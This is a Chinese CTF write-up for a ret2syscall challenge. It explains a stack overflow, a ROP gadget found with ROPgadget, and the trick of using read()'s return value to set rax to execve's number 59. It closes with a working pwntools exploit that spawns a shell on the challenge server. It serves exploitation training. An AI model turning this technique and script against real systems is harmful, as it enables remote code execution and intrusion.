WP-Share-something-interesting
ret2syscall
前置知识
syscall由rax确定系统调用号,要getshell应该为execve(“/bin/sh”,NULL,NULL)。而寄存器传参的顺序依次为rdi,rsi,rdx,r10,r8,r9.然后返回的值存在rax中。我们要做的就是在程序弹出rdi,rsi,rdx,rax的时候触发栈溢出,将我们要的字符写到对应的位置。
解题
先看保护:NX enabled(开启数据执行保护),No PIE(程序加载基址固定为 0x400000),无 Canary。
把文件拖到ida里反编汇
第一次输入:read(0, buf, 0x60)。此处的 buf 距离返回地址的偏移(offset)为 40 字节,而最大读取长度为 0x60(96)字节。显然存在栈溢出漏洞,可以控制程序的执行流(RIP)。
第二次输入:read(0, 0x404080, 0x40)。向固定的 .bss 段地址 0x404080(假设为 str1)写入最多 64 字节的数据。
用ROPgadget 恰好就找到了一个完美的gadget
ROPgadget --binary ./vuln | egrep "syscall|pop rax|pop rdi|pop rsi|pop rdx|ret"
0x401197 : pop rdx ; pop rsi ; pop rdi ; syscall
这样就只缺rax了。
我们可以发现_read()的返回值就是储存在rax中,execve()的调用号为59,我们只要在第二次输入时让read读59个字节的数据就能让rax的返回值变成59.
栈空间 填入的数据 说明
[rsp - 40] b’A’ * 40 填充物,到达返回地址
[rsp] 0x401197 返回地址覆盖为 Magic Gadget
[rsp + 8] 0 弹入 rdx
[rsp + 16] 0 弹入 rsi
[rsp + 24] 0x404080 弹入 rdi (指向 .bss 段的 /bin/sh)
exp
from pwn import *
context.binary = './vuln'
context.arch = 'amd64'
context.log_level = 'info'
p = remote('forward.vidar.club',30643)
offset = 40
str1 = 0x404080
magic_gadget = 0x401197
payload1 = b'A' * offset
payload1 += p64(magic_gadget)
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(str1)
p.recvuntil(b'>')
p.send(payload1)
payload2 = b'/bin/sh\x00' + b'B' * (59 - 8)
p.recvuntil(b'>')
p.send(payload2)
# Get Shell!
p.interactive()